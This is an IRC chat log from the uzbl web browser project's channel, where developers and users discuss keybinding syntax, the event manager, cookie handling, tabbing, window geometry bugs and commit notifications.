13:13 < rob|> hehe
13:13 < mason-l> I have problems with the new google js homepage.
13:14 < mason-l> Its stupid.
13:16 < rob|> what problems?
13:16 < mason-l> None of the fadeouts work. I just see the google logo and search box.
13:17 < mason-l> Which I don't mind because I don't use anything else anyway but its a bug nonetheless.
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13:19 < rob|> hmm, did you try to change the UA?
13:20 < rob|> that seems to help with such kind of issues
13:24 < mason-l> UA?
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13:28 < Dr1Horrible> How can I remove stuff from the menu, for example the webinspector stuff, its not in the config
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13:28 < rob|> mason-l: user agent (string)
13:29 < mason-l> rob|, I'm not that interested :)
13:29 < mason-l> Because I don't mind it how it is.
13:30 < rob|> Dr1Horrible: there is no way to remove the default items, yet
13:30 < rob|> Dr1Horrible: you can just add/remove custom items
13:31 < Dr1Horrible> Too bad...
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13:38 < hickop> another js problem i think : I cant login on http://www.fileplanet.com
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14:20 < rob|> hmm, it's a pitty that JS expansion collides with the stacked syntax :(
14:20 < Dr1Horrible> can i map escape?
14:23 < rob|> consider:  bind foo<prompt:\@(xcalc)\@>_ = bar
14:23 < rob|> which works and is a pretty cool feature
14:26 < rob|> Dr1Horrible: yes
14:28 < Dr1Horrible> 47 @bind <Escape>      = @set_mode command
14:29 < Dr1Horrible> so that should work?
14:30 < hickop> Dr1Horrible: @bind <Escape>       = event @set_mode
14:30 < hickop> is what i have
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14:33 < mason-l> hickop, Thanks for pasting that, I've just noticed thats incorrect.
14:34 < Dr1Horrible> That doesn't work..
14:34 < mason-l> http://github.com/mason-larobina/uzbl/commit/35c1e804e1dc1204f6e9ffe5942123b0f11eb59a
14:35 < mason-l> It should be: @bind <Escape>       = @set_mode
14:35 < mason-l> @set_mode can also be used to set a mode but with no value it defaults to the value of 'default_mode'.
14:38 < Dieterbe> oh
14:38 < rob|> mason-l: would it be possible to treat the prompt string itself just like the default value field?  talking about the 'a' in here: @bind x<a:b>_ = y
14:39 < rob|> mason-l: dynamic prompts, if you will ;)
14:39 < mason-l> rob|, You should be able to do that already out of the box.
14:40 < rob|> oh, really. let's check this..
14:40 < mason-l> But!
14:40 < mason-l> Quoting is not supported for the prompt segment.
14:41 < mason-l> Yeah it works already :)
14:41 < rob|> cool, this is awesome
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14:43 < mason-l> I was thinking of changing the default behavior of the <prompt:default> to <prompt:command> or maybe I make a <prompt!command>
14:43 < mason-l> Where the command segment is executed when reaching that bind-level.
14:44 < Dieterbe> any usecases for this stuff?
14:45 < mason-l> You could replicate the old behavior with: "@bind o<uri:event KEYCMD_SET \@uri>_ = uri %s"
14:45 < mason-l> Dieterbe, Not yet but the change is trivial.
14:45 < mason-l> I mean addition is trivial.
14:46 < DuClare> How much of this fancy syntax for doing things is built-in, how much can be implemented via EM calling simpler commands?
14:47 < rob|> all of it is implemented in the EM
14:47 < mason-l> An EM plugin.
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14:55 < rob|> hmm, i guess you could hack command history together with that
14:55 < Dieterbe> oh yeah baby
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16:04 < mason-l> rob|, So are your recent changes safe to pull in?
16:06 < mason-l> rob|, And I've pushed a commit which adds the INJECT_KEYCMD and APPEND_KEYCMD events.
16:07 < mason-l> With some example bindings that inject and or append the @TITLE or @uri to the keycmd.
16:07 < mason-l> s/and or/or/
16:21 < axionix> the stacked binds will be nice for bookmark handling when its able to do more than 1 character...it would be better than keywordSm.py
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16:29 < mason-l> axionix, I'm on it.
16:29 < mason-l> Right now.
16:30 < axionix> take your time...i already replaced a few scripts i had. keywordSm.py would be nice to get rid of...it was responsible for Xorg freezes when i was using the master branch...so far nothing with experimental though so it's tolerable
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16:50 < sykora> What's the most common way of running uzbl-browser from the experimental branch? I've cloned the repo, but of course the PATHs are all wrong.
16:52 < Dieterbe> sudo make install it
16:52 < mason-l> sykora, If you want to test without installing it use: make test-dev-browser
16:54 < mason-l> Actually I'm going to have an early night tonight.
16:54 < mason-l> Night guys.
16:55 < Dieterbe> mason-l: sleep tight
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17:00  * MichaelRaskin configured flash plugin to work with uzbl.
17:01 < MichaelRaskin> I now try to guess whether this is for better or for worse
17:01 < axionix> worse :D
17:01 < Dieterbe> :P
17:03 < lich> any of you ever been able to download from yahoo mail?
17:03 < lich> I always have to fall back to ff for that..all it downloads is a html request page of some sort
17:03 < axionix> i'dlaugh if any of us use yahoo mail
17:04 < lich> well, where I live most everyone has yahoo messenger, including clients..so I got an email too
17:04 < MichaelRaskin> By the way, is there a command to dump cookie jar for the current domain
17:04 < axionix> you can have any mail forwarded to gmail or a better service
17:04 < MichaelRaskin> Better yet load such a jar, too
17:04 < MichaelRaskin> Note that for path-cookies document.cookie is not enough
17:05 < lich> axionix: true, I may set that up sometime
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17:06 < axionix> well the cookies are stored in a simple format strting with the domain name
17:07 < MichaelRaskin> Stored by what?
17:07 < axionix> cookies are in cookies.txt
17:07 < MichaelRaskin> I do not use cookie daemon
17:07 < axionix> oh nvm
17:07 < axionix> why not?
17:07 < MichaelRaskin> It slows thing down, it makes all my windows one session, I prefer transient cookies.
17:08 < MichaelRaskin> I want to get the best of both worlds.
17:08 < MichaelRaskin> Use WebKit cookie handling with a possibility to dump/inject
17:09 < axionix> what do you mean by one session?
17:09 < MichaelRaskin> Well, I have two windows - I want to be able to have to distinct cookie sets there
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17:10 < MichaelRaskin> When I do web development, such things matter
17:11 < axionix> ah, yeah i use my whitelist patch to block all but a few domains
17:14 < MichaelRaskin> Whitelist wouldn't work for me
17:15 < Dieterbe> MichaelRaskin: you know you can also run multiple cookie daemons right, to the extreme of a different daemon per window if you want that
17:15 < Dieterbe> or anything in between
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17:15 < axionix> well you could immitate transient cookies with uzbl's events
17:15 < MichaelRaskin> By default it just slows thing down
17:16 < MichaelRaskin> I don't actually want it
17:16 < MichaelRaskin> Maybe a non-synchronous event for cookie set + a command to set a cookie with all the options would be nice
17:18 < axionix> you do know you can disable the cookie handler on an event....or enable it only when you need it, right?
17:19 < MichaelRaskin> I would like to have it inside EM protocol
17:19 < axionix> that isnt likely
17:20 < axionix> its pretty KISS and dynamic how it is
17:20 < axionix> and i think we strive for KISS more than anything
17:21 < MichaelRaskin> We have already a lot of events
17:21 < MichaelRaskin> So just adding some more wouldn't change anything
17:21 < Dieterbe> yes it would
17:21 < axionix> hahaha
17:22 < Dieterbe> the events are there for a reason. because we want them or we think we need them
17:22 < Dieterbe> not "because there were already many anyway" ;)
17:23 < MichaelRaskin> Merging sync/async events inside EM protocol will simplify things anyway
17:24 < Dieterbe> that's true. but i don't see why you want to set cookies through the EM
17:24 < Dieterbe> you could just as well just write to the cookies.txt file
17:24 < MichaelRaskin> WebKit already stores the cookies in memory no matter what, isn't it?
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17:26 < Dieterbe> correct
17:27 < MichaelRaskin> Writing to on-disk file something meant to be transient-only is not the best thing to force?
17:27 < Dieterbe> we don't force it
17:27 < Dieterbe> you can run without any external cookie handler, and you can run the run the cookie daemon in memory-only mode also
17:28 < MichaelRaskin> Don't you plan to merge cookie-handling into EM anyway?
17:28 < MichaelRaskin> Because you have two "event handlers" otherwise
17:28 < Dieterbe> yeah, rob| wants to have synchronous events over the EM (ie cookies)
17:30 < MichaelRaskin> Ok, I'll wait then
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17:51 < yitz> What bindings do I need to work tabs?
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18:47 < yitz> Erm. Java ain't working for me?
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19:36 < Dieterbe> yitz: java?
19:37 < yitz> JRE. Java apps
19:40 < Dieterbe> what does it have to do with uzbl? you mean java browser plugin?
19:40 < yitz> Yeah
19:41 < yitz> Flash ain't working either... It worked last week...
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19:50 < rob|> mason-l: INJECT/APPEND work great, nice job
19:51 < rob|> finally i got pasteing to work as i want:  @bind <Ctrl>p = sh 'echo "event INJECT_KEYCMD $(xclip -o)" > "$4"'
19:52 < Dieterbe> hmm why the sh foo > $ stuff?
19:52 < Dieterbe> or in other words: explain how it works :)
19:53 < rob|> it injects the xclip output to the current cursor position in the keycmd
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19:53 < rob|> the sh stuff is needed because inlining the command causes a strange lockup
19:55 < Dieterbe> isee
19:56 < rob|> i guess that binding should go into the example config
19:57 < Dieterbe> probably as <Ctrl>v though
19:57 < Dieterbe> and what about a shift-insert one to paste from primary selection
19:58 < rob|> well, i have ^v bound to pasting the clipboard and ^p primary
19:58 < rob|> iirc shift-ins isn't bindable yet
19:58 < Dieterbe> aha okay i thought xclip -o did paste from clipboard. my bad
19:59 < Dieterbe> really? oh that's too bad. why?
20:01 < rob|> cause shift-character causes problems with PRESS/RELEASE events
20:01 < rob|> but for characterrs that don't display it should be supported
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20:04 < rob|> meanwhile we could bind it to <Insert>, though
20:06 < DuClare> How about ^y? ;)
20:15 < rob|> Dieterbe: you might want to consider those bindings when doing the config split up
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20:34 < MichaelRaskin> Hm
20:34 < MichaelRaskin> Flash works strangely.
20:34 < MichaelRaskin> Input reaches it with non-unity probability
20:36 < urnthr> word
20:36 < urnthr> smoke break from studying this Mechanics of Materials...
20:38 < rob|> anyone tryed to build uzbl with clang/llvm?
20:38 < rob|> i pretty much like the idea of that project
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21:15 < rob|> btw, with webkit >=1.1.16 we finally have access to the soupmessage that backs download requests. so we could add any of those headers to the DOWNLOAD_REQUEST event
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21:15 < rob|> content-disposition comes to mind..
21:22 < hickop_> sounds nice
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21:34 < rob|> yeah, this will have to wait until 1.1.16 becomes stable, though
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21:40 < axionix> any core hackers around?
21:41 < rob|> fire away
21:41 < axionix> when i comment out the cookie handler, i get many GLib-Critical ... failed stuff
21:43 < axionix> nothing else but this, dunno how harmful it is:
21:43 < axionix> (uzbl-core:842): GLib-CRITICAL **: g_strsplit: assertion `string != NULL' failed
21:45 < rob|> well, it's annoying but shouldn't cause any harm
21:45 < axionix> ok
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21:55 < rob|> xyz`: hey. got the --connect-socket stuff working?
21:56 < xyz`> well
21:56 < xyz`> mostly
21:57 < xyz`> if I run it by itself it works fine
21:57 < xyz`> but if I try and use it with -s
21:57 < xyz`> it ends up not setting the fifo/socket or something
21:57 < xyz`> so it can`t run scripts
21:57 < xyz`> well, it can but it doesnt tell it the fifo/socket
21:58 < rob|> hmm
22:00 < xyz`> it makes the fifo based on the xid I think
22:00 < xyz`> and -s makes it 0 so it kinda dies
22:02 < rob|> indeed
22:02 < rob|> so, the workaround is to use '-n <something>'
22:04 < rob|> and for a solution we should probably use mktemp() in order to build a unique name if -s is being used
22:06 < rob|> well, or just some custom randomizer
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22:27 < rob|> xyz`: i pushed a fix to my tree
22:30 < rob|> xyz`: in xembed mode, the sockets/fifos will just get a random number appended
22:31 < xyz`> ok
22:32 < rob|> as i used a usec based seed, the numbers should be pretty random even if many instances are spawned quickly
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22:38 < github> uzbl: Mason Larobina experimental SHA1-35c1e80
22:38 < github> Fixed <Escape> binding.
22:38 < github> http://bit.ly/3f9lNa
22:38 < github> uzbl: Mason Larobina experimental SHA1-32c2a87
22:38 < github> Added INJECT_KEYCMD and APPEND_KEYCMD events in keycmd.py
22:38 < github> http://bit.ly/131mka
22:38 < github> uzbl: Rob experimental SHA1-d9b8be0
22:38 < github> Merge branch 'experimental' of git://github.com/mason-larobina/uzbl into experimental
22:38 < github> http://bit.ly/1HWPDL
22:38 < github> uzbl: Rob experimental SHA1-57d0dd0
22:38 < github> generate random id for sockets/fifos in xembed mode
22:38 < github> http://bit.ly/2ErMhw
22:39 < github> uzbl: Rob experimental SHA1-68c11ce
22:39 < github> allow for random numbers up to RAND_MAX
22:39 < github> http://bit.ly/4oK5EF
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22:48 < github> uzbl: Rob experimental SHA1-cdb1cca
22:48 < github> fix comment
22:48 < github> http://bit.ly/SMI9o
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22:50 < Dieterbe> 1/away dodo
22:50 < Dieterbe> oops
22:50 < Dieterbe> anyway. night all
22:51 < rob|> night dieter, nice random dreams :P
22:52 < rob|> xyz`: i hope this helps. i'd like to see your EM/tabbing apps working nicely
22:52 < xyz`> it seems to work now
22:52 < xyz`> uploading now
22:52 < xyz`> http://digital-haze.net/~jake/code/uzbl/uzbltabem-r2.tar.gz
22:52 < rob|> great :)
22:53 < rob|> could you describe the installation/configuration of that in more detail on the wiki?
22:53 < xyz`> its in the README
22:53 < xyz`> but ok
22:54 < rob|> i bet this would get you a lot more users (and testers)
22:54 < rob|> well, READMEs are ignored most of the time :(
22:54 < xyz`> they do
22:56 < rob|> yeah, i made this exerience with dzen. and that's why i started to provide step by step howto on the wiki which paid off in the end :)
22:56 < rob|> *howtos
22:58 < ezeike> has anyone modified formfiller.sh to work with urls that have ports in them?
22:59 < xyz`> well the em is pretty straightforward I think I`m not sure what to even put
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22:59 < xyz`> suppose I could give the tab thing its own page
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22:59 < rob|> yeah, sounds reasonable
23:00 < rob|> just try to describe step by step what needs to be done in order to use the EM/tabbing thing
23:03 < rob|> as confucius said, the easiest way to gain awareness is by imitation
23:03 < rob|> well, something like that at least
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23:16 < LordMetroid> uzbl seems to be awesome!!!
23:19 < yitz> It's nice but got a few rough edges still...
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23:22 < axionix> ...
23:25 < Dr-Horrible> yitz: like what?
23:26 < yitz> eg binding can use a split between CMD and INS mode so END can scroll to the end of the page only while not editing fields
23:26 < yitz> Or so you can bind <space> to scroll
23:28 < yitz> Some sites don't work (eg Classical96.3's playnow page)
23:28 < Dr-Horrible> I can agree with you on that
23:28 < yitz> My cookies seem not working but that'd be a problem with my config. I need to get that working... And I can't get tabs or form-auto-fill on gmail to work
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23:29 < axionix> yitz: cant you bind End to CMD mode too? I know I have >> bound to do the same thing
23:29 < yitz> What do you mean?
23:29 < axionix> well when in command mode >> goes to the end
23:30 < axionix> if in input mode, i use arrow keys/end/pgdn, etc
23:30 < yitz> So you don't use <end> in CMD mode?
23:30 < yitz> Or PGUP/DOWN?
23:30 < axionix> no, just the default << and >>
23:31 < axionix> does the same thing, and can probably changeit to use the Home/End keys\
23:31 < yitz> Does >> switch the modes?
23:33 < axionix> yitz: you can bind pgup/dn to scroll_vert
23:33 < axionix> no
23:33 < axionix> its a command
23:35 < yitz> I got pgup/down working... I might try >>
23:35 < yitz> It makes sense that you could bind keys depending on the mode, though
23:36 < axionix> yitz: you on experimental?
23:36 < yitz> Yes
23:37 < axionix> webkit handles input when in pnput mode...i dont think you can change those binds
23:37 < yitz> Interesting. Yet uzbl *also* receives the input
23:38 < axionix> but you can match them if you want to do the same in CMD mode like you mentioned
23:38 < axionix> actually, just tested and i dont think end/home/del can be bound...i might be wrong though
23:39 < yitz> Hm? END scrolls to the bottom for me
23:39 < axionix> in command mode?
23:39 < yitz> I'd like uzbl to only scroll down on END when in CMD mode and to do nothing during INPUT.
23:39 < yitz> Yes
23:39 < axionix> hmm, didnt know there was a <End> tag
23:39 < yitz> @bind    <End>     = scroll_end
23:40 < axionix> cool
23:40 < yitz> Ditto to Home
23:40 < axionix> yitz: thats webkit
23:40 < yitz> What is? Doing the scrolling?
23:41 < axionix> when in input mode, webkit has access to xorg's keybinding
23:41 < axionix> when in command mode, uzbl does
23:43 < yitz> Yet in either mode, END scroll_end's
23:44 < axionix> not unless you have a bind for it
23:44 < axionix> mine doesnt scroll_end with end
23:44 < axionix> you can only mimick the input mode, not change it
23:45 < yitz> But the bind affects both modes
23:45 < axionix> no it doesnt...its always in input mode with or without the bind
23:45 < axionix> and any other browser using webkit
23:45 < yitz> In either mode, the above bind line causes uzbl to get the END and scroll_end
23:45 < axionix> nope
23:45 < yitz> scroll to the end of the page?
23:45 < axionix> the bind affects command mode only
23:46 < axionix> input was always like that
23:46 < yitz> Usually END scrolls to the end of the line
23:46 < yitz> I bound SPACE to scroll and it scrolled when I was typing in INPUT mode
23:47 < axionix> yitz: End goes to the end in input mode, not page
23:48 < yitz> Try binding Space to scroll_end and hitting space in INPUT mode
23:48 < yitz> Do you expect scroll_end to occur?
23:48 < axionix> no
23:49 < yitz> Well, try it :)
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23:50 < yitz> I've got to head home. My response might become laggy by about 30-60 min but if you nick me, I'll try to reply
23:50 < axionix> interesting
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23:51 < yitz> Ditto to EHD
23:51 < yitz> *END
23:51 < axionix> yitz: i stand corrected. i never read anything about this
23:51 < axionix> you are right though
23:51 < yitz> I complained last week. Someone suggested CtrlSpace...
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00:03 < rob|> well, there is an easy and a correct solution to this..
00:06 < modnaru> This is a problem with modcmd being executed, isn't it?
00:08 < rob|> well, the EM should track the current mode and only execute bindings which make sense in the corresponding mode
00:08 < rob|> i want to keyp the KEY* reporting in either mode as this will prove useful when the DOM api is in place
00:09 < rob|> s/keyp/keep/
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07:48 < mason-l> Hey guys
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07:53 < ruskie> lo
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08:50 < mason-l> <rob|> finally i got pasteing to work as i want:  @bind <Ctrl>p = sh 'echo "event INJECT_KEYCMD $(xclip -o)" > "$4"' <-- You should include that in the example config.
08:50 < mason-l> Better than my examples :)
09:03 < Dieterbe> morning dudes
09:03 < Dieterbe>  rob|> xyz`: i hope this helps. i'd like to see your EM/tabbing apps working nicely <-- what's this about?
09:04 < xyz`> uh
09:04 < xyz`> http://www.uzbl.org/wiki/cpp-em / http://www.uzbl.org/wiki/uzbltab
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09:10 < Dieterbe> oh cool
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10:57 < rob|> morning.
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11:03 < Dieterbe> nanananana robman nananana robman it's the robman \o/
11:08 < Dieterbe> he fixes bugs, he makes uzbl more awesome he's the man
11:19 < hrubi> hi, do --geometry switch work for you? for me just the positioning, not the window size
11:23 < rob|> Dieterbe: heh, everything ok with you? :P
11:24 < rob|> xyz`: em and tabbing work great :)
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11:25 < xyz`> fun
11:27 < rob|> hrubi: could it be your WM ignoring the settings?
11:29 < hrubi> rob|: maybe, I've got xfwm4; but usually it obeys all freedesktop standards. I'll try with another WM after lunch
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11:43 < rob|> xyz`: i wonder if you could add one more setting to tab, so that it doesn't spawn an EM with every tab but rather only provides the socket path to new instances
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11:44 < xyz`> hm?
11:45 < rob|> right now every new tab does spawn a new EM instance, right?
11:45 < xyz`> yes
11:46 < rob|> that's not necessary with the python EM, so spawing a new instance with that should just be 'uzbl-core --connect-socket <socket_path_set_in_uzbltab.conf>'
11:47 < xyz`> I guess I could do that
11:57 < Dieterbe> so how does this tabbing thing compare to uzbl_tabbed (other then that it's written in C)
11:58 < rob|> well, the look&feel is pretty similar
12:02 < helgikrs> hey, I don't know where this bug lies, but everything seems to freeze when using "load_url_from_history.sh" script (with dmenu), but it doesn't happen if I run uzbl from terminal
12:03 < helgikrs> using openbox keybinding to run uzbl, pressing U typing google or somthing else, and everything freezes
12:04 < helgikrs> tried other wm's happens in most of them, does not happen with fluxbox keybinding though, kind of wierd
12:05 < Dieterbe> helgikrs: maybe dmenu grabs focus but you don't see it? could it be that dmenu is hidden by something?
12:05 < rob|> or printing the events to stdout may cause the lockup, i had a similar effect with inlining xclip but didn't investigate further
12:05 < helgikrs> well, if I open xterm, type in google, and switch to xterm as soon as I press enter (to go to google), xterm gets focus, I can type in to xterm but everything is still frozen
12:06 < helgikrs> so I dont think its that
12:06 < rob|> helgikrs: do you have the source at hand?
12:06 < helgikrs> yah
12:07 < helgikrs> what?, source of the problem or the source code?
12:07 < rob|> the source code of uzbl that is
12:07 < helgikrs> yea, I have that
12:07 < helgikrs> btw i'm using uzbl from git, commit d2d73ad463f3d9f1c673d37457af159947b3faac
12:07 < rob|> ok, open events.c and comment the line reading: send_event_stdout(event_message);
12:08 < rob|> recompile and try again
12:08 < helgikrs> k
12:10 < helgikrs> uu, where exactly is that?
12:11 < helgikrs> the file that is
12:11 < rob|> oh, are you running the master branch?
12:12 < helgikrs> yes
12:12 < rob|> ah, well then there is no such file
12:12 < rob|> and the issue must be something else
12:12 < helgikrs> experimental segfaulted on me, compiled master and it worked
12:12 < helgikrs> so I'm using that
12:13 < helgikrs> btw great browser, something I've been looking for in a long time
12:13 < rob|> segfaulted? most certainly the webkit bug
12:13 < helgikrs> probably
12:13 < rob|> anyways, master is not really supported any more so you should consider switching to experimental
12:14 < helgikrs> k, I'll do that now, see if this bug remains, if it does, comment out that code and get back to you
12:15 < rob|> rok
12:15 < rob|> -r
12:15 < rob|> btw, what webkit version are you using?
12:15 < rob|> i'm asking because of this: http://www.uzbl.org/news.php?id=17
12:16 < helgikrs> $ pacman -Qi libwebkit | grep Version
12:16 < helgikrs> Version        : 1.1.15.3-2
12:17 < rob|> not sure wether -2 fixes that bug, so if you still get segfaults you know what to do ;)
12:18 < rob|> i.e. use abs to fetch enchant and makepkg it with '--disable-zemberek'
12:18 < helgikrs> yea, i did that already ;)
12:18 < rob|> ah, ok
12:20 < rob|> to test experimental without the need to 'make install' you can just issue  'make test-dev-browser'
12:25 < helgikrs> well, compiled experimental, changed binding to uzbl-tabbed
12:25 < helgikrs> no freeze
12:25 < helgikrs> guess it has been fixed already
12:27 < rob|> hmm, yeah seems so
12:28 < helgikrs> well, thanks, I can happily use my keybinds now :P
12:29 < rob|> alright, great :)
12:29 < axionix> i experienced Xorg freezing with master too...it was due to keywordSm.py
12:32 < hrubi> rob|: fluxbox does ignore the geometry window size too; do you know of any WM where it's supposed to work?
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12:42 < rob|> hmm, i will look into that code later
12:46 < axionix> tfor some reason i have an instance of grep -v ^EVENT running, spawned by uzbl-browser
12:48 < rob|> yeah, that's by purpose
12:51 < mason-l> rob|, A command line option to turn off event printing to stdout would get rid of the need for grep event filtering.
12:53 < axionix> also noticed uzbl-core doesnt end with SIGTERM
12:53 < axionix> is that by purpose too?
12:54 < mason-l> Also installing the EM into the /usr/local/bin is a good idea but we should rename it to something sensible; uzbl-em, uzbl-daemon, uzbl-event-manager, uzbl-event-daemon.
12:54 < mason-l> 'to something like:
12:54 < helgikrs> uzbl-tabbed line 1013 has wrong bind_format, missing @
12:55 < mason-l> helgikrs, I haven't worked on uzbl_tabbed.py in the experimental repo yet.
13:01 < helgikrs> running uzbl-tabbed now uzbl-core is taking 90% cpu
13:02 < helgikrs> is it very buggy?
13:02 < mason-l> helgikrs, uzbl_tabbed.py doesn't work in the experimental repo.
13:02 < mason-l> s/repo/branch/
13:02 < mason-l> I'm working on it now .
13:03 < helgikrs> ok
13:03 < mason-l> Its not an easy fix though, might take a while.
13:06 < Dieterbe> still? when do you expect a non-broken version? it can be crappy for now but just something that is not a regression from what we have in master
13:06 < helgikrs> hehe well, it runs here, seems fine after fixing bind_format ... except it takes 90% cpu
13:06 < mason-l> helgikrs, But do the bindings work?
13:07 < helgikrs> ys
13:07 < mason-l> Thats bizarre.
13:07 < helgikrs> the ones I tried atleast, new tab, next tab etc
13:08 < helgikrs> shouldn't they?
13:08 < mason-l> Nope, not in experimental.
13:11 < helgikrs> # sed -i "s/bind_format = r'/bind_format = r'@/g" /usr/bin/uzbl-tabbed
13:12 < mason-l> While that is one thing that needs to be done it will not solve the uzbl_tabbed.py problems in the experimental branch.
13:12 < helgikrs> didn't think so, but It solved the keybind thing :P
13:12 < Dieterbe> mason-l: any eta on unbroken uzbl-tabbed?
13:12 < mason-l> Dieterbe, No idea.
13:13 < mason-l> Theres quite a bit of changes either way.
13:13 < Dieterbe> okay then we better release uzbl as-is and do the uzbl-tabbed unbreaking for another time
13:13 < helgikrs> no plans for uzbl-tabbed in c?
13:14 < mason-l> Dieterbe, I go back to work on Saturday if I don't have it finished by then you should do a release.
13:14 < Dieterbe> mason-l: that's a deal
13:17 < rob|> helgikrs: http://www.uzbl.org/wiki/cpp-em
13:20 < helgikrs> nice
13:22 < rob|> helgikrs:  is still has a couple of rough edges, xyz` is the man to bug about those ;)
13:24 < helgikrs> rob|: so, any reason to use one or the other?
13:24 < helgikrs> this one or uzbl-tabbed that is, except uzbl-tabbed doesn't work
13:25 < mason-l> Dieterbe, Do you have a name preference out of: uzbl-em, uzbl-daemon, uzbl-event-manager, uzbl-event-daemon
13:26 < Dieterbe> hmm.. wasn't the idea you could use the event-manager for programs other then uzbl?
13:26 < mason-l> Dieterbe, ?
13:26 < Dieterbe> $any_program_that_reports_events | event_manager.py
13:27 < Dieterbe> or over the socket
13:27 < mason-l> Dieterbe, event_manager.py only works with uzbls event system.
13:27 < mason-l> Sure it could be modded to accept any kind of event input.
13:27 < mason-l> But that requires changing the source of the event_manager not just adding a new plugin.
13:28 < anydot> A SQL query goes into a bar, walks up to two tables and asks, "Can I join you?"
13:28 < anydot> :-)
13:28 < Dieterbe> already knew that one :P
13:28 < Dieterbe> mason-l: well afaik the idea is that the EM will also work for other programs. maybe not now, but later
13:29 < Dieterbe> if we explicitly call it uzbl-foo it seems too coupled to uzbl
13:29 < mason-l> Dieterbe, Somehow nobody told me this or else I wouldn't have made it so uzbl-centric.
13:30 < mason-l> Dieterbe, The other side of the coin is: what the hell is a 'event_manager.py' and why is it in my $PATH.
13:31 < Dieterbe> people with good package managers don't have to ask that question
13:31 < helgikrs> lol
13:31 < Dieterbe> they could do : pacman -Qo `which event_manager.py`
13:31 < mason-l> Dieterbe, I make.
13:32 < Dieterbe> well, then you know
13:32 < Dieterbe> when you make and make install you know what is built and what is installed where
13:32 < Dieterbe> and if you don't , it's your own problem
13:32 < Dieterbe> (where "you" is in general, of course)
13:34 < mason-l> Dieterbe, Like it or not the event_manager.py was written for and (at the moment) only for uzbl. Someone can fork the EM and run with it but its a uzbl utility and it deserves a 'uzbl-*'.
13:34 < Dieterbe> that's also a fine POV
13:35 < Dieterbe> but your "i don't know why this file is on my system" argument was flawed ;)
13:35 < helgikrs> I have to agree with mason-l, if I would see event_manger.py in path, use pacman -Qo on it, to see it's part of uzbl along with uzbl-* I'd ask myself, why the heck it doesnt have uzbl- prefix also
13:35 < helgikrs> unless im missing something
13:36 < Dieterbe> i never said i am against calling it uzbl-foo, just threw some points out there for discussion
13:36 < Dieterbe> okay, 1 point actually
13:41 < Dieterbe> mason-l: i prefer uzbl-event-manager , go for it
13:42 < mason-l> Ok :)
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13:54 < rob|> yeah, that seems to be a sensible name
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14:10 < Dieterbe> what about cookie_daemon, do we rename it to uzbl-cookie-daemon? it's obviously "uzbl technology" but it's not limited to just the uzbl browser
14:24 < mason-l> Yes, but hopefully its depreciated into the EM by the next release. But yes to 'uzbl-cookie-daemon' because its still uzbl-tech.
14:24 < rob|> hrrm, this geometry stuff doesn't work as documented
14:26 < Dieterbe> mason-l: okay feel free to rename then
14:32 < hrubi> rob|: gtk_window_resize has worked, but I don't know if you can easily parse the geometry string for it
14:36 < rob|> hrubi: i wonder why gtk_window_parse_geometry() doesn't work, checking with xprop it seems to set totaly stupid props fot use spec. location and size
14:36 < rob|> *user
14:41 < hrubi> rob|: have you tried example in http://library.gnome.org/devel/gtk/unstable/GtkWindow.html#gtk-window-parse-geometry ?
14:41 < hrubi> it seem that it somehow works
14:41 < hrubi> *seems
14:41 < rob|> yes, sure. doesn't work for me
14:42 < hrubi> ./gtk_test 100x80+10+20 and it has set the sizes. but it's obviously not in pixels (at least the size)
14:43 < rob|> hrubi: in callbacks.c:cmd_set_geometry() is the call to that, if i just change uzbl.gui.geometry to a string constant "300x200+0+0" it doesn't work either
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14:44 < hrubi> they say in the doc: Note that for gtk_window_parse_geometry() to work as expected, it has to be called when the window has its "final" size, i.e. after calling gtk_widget_show_all() on the contents and gtk_window_set_geometry_hints() on the window.
14:45 < hrubi> but in the example, they have gtk_window_parse_geometry after gtk_window_set_geometry_hints and before gtk_widget_show_all
14:45 < rob|> indeed, also the docs suggest it should be the other way around
14:45 < rob|> *although
14:46 < hrubi> anyway, I think that gtk_window_parse_geometry (and thus gtk_window_set_default_size which it calls), shouldn't be used anywhere but in the begining of window initialization
14:48 < rob|> that pretty much sucks, as they already provide a function which parses geometry strings
14:48 < hrubi> yeah, isn't there any separate function, which parses it into some struct or such?
14:48 < rob|> didn't find one
14:49 < hrubi> :/
14:50 < rob|> maybe gdk provides one
14:50 < hrubi> I'll try to check it out in the evening, if there's some nice way around it
14:50 < hrubi> if you don't fix it yourself in the meantime, however :)
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14:55 < rob|> ok
15:06 < rob|> well, i got a fix using XParseGeometry()
15:06 < rob|> it's a shame gtk makes you use Xlib functions, though..
15:12 < rob|> hrubi: fix pushed
15:17 < hrubi> oh, great
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17:53 < Dieterbe> rob|: fyi i won't be home this evening and tomorrow i also don't have much time
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18:23 < helgikrs> hmm, now I'm running uzbl-browser just showing google.com not really doing anything and... 89-96% cpu usage 15-20% mem
18:24 < helgikrs> that doesn't sound right
18:38 < bct> that's not normal.
18:39 < bct> not sure where to start troubleshooting it, though.
18:39 < helgikrs> well, me neither, but I just killed the process, restarted uzbl and it's fine now
18:40 < helgikrs> :/
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18:49 < rob__> helgikrs: attach gdb to the pid and have a look what's going on..
18:50 < helgikrs> I'll do that if it happens again
18:51 < rob__> ok
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19:01 < rob__> helgikrs: are you using the sample config?
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19:08 < hickop> hum cookie_daemon should start with uzbl-browser no ?
19:11 < rob|> yeah
19:13 < hickop> if i send a SIGKILL to cookie_daemon , it wont start again with uzbl-browser , but if i send SIGTERM it will
19:15 < rob|> probably it leaves the socket file around on KILL but cleans it up on TERM
19:17 < hickop> yea that's why
19:19 < helgikrs> rob|: i'm using a modified version of the sample config
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19:24 < rob|> helgikrs: might it be some scripts you're using that draw the cpus usage up?
19:25 < Masca> is there some way to get github sending me commit mails?
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19:29 < helgikrs> rob|: the only script I changed was yank
19:29 < rob|> hmm, i see
19:29 < rob|> to what did you change it?
19:31 < helgikrs> commented out the last two lines and put echo "${value}" | $clip instead
19:31 < helgikrs> nothing fancy
19:32 < rob|> ok, so if it happens again just run gdb on it
19:32 < helgikrs> the load is fine now, don't know what caused that earlier, but if it happens again i'll look into it
19:32 < rob|> haven#t observed anything like that yet
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19:36 < Masca> Mmm it looks like the uzbl-tabbed is kinda broken.
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19:37 < rob|> yeah, it's broken in experimental
19:37 < rob|> there's an alternative though..
19:37 < keis> morning \o
19:37 < Masca> ohh if it's a known issue I have nothing to do. here.
19:38 < rob|> Masca: http://www.uzbl.org/wiki/cpp-em
19:38 < Masca> I have just upgraded and trying to find bugs. =)
19:38 < rob|> hey kei
19:38 < rob|> s
19:40 < Masca> nice.
19:40 < Masca> I guess I wil use uzbl-browser until that get stable. =P
19:43 < rob|> we need more screencasts..
19:44 < rob|> http://www.youtube.com/watch?v=uWc-m6S2ImM
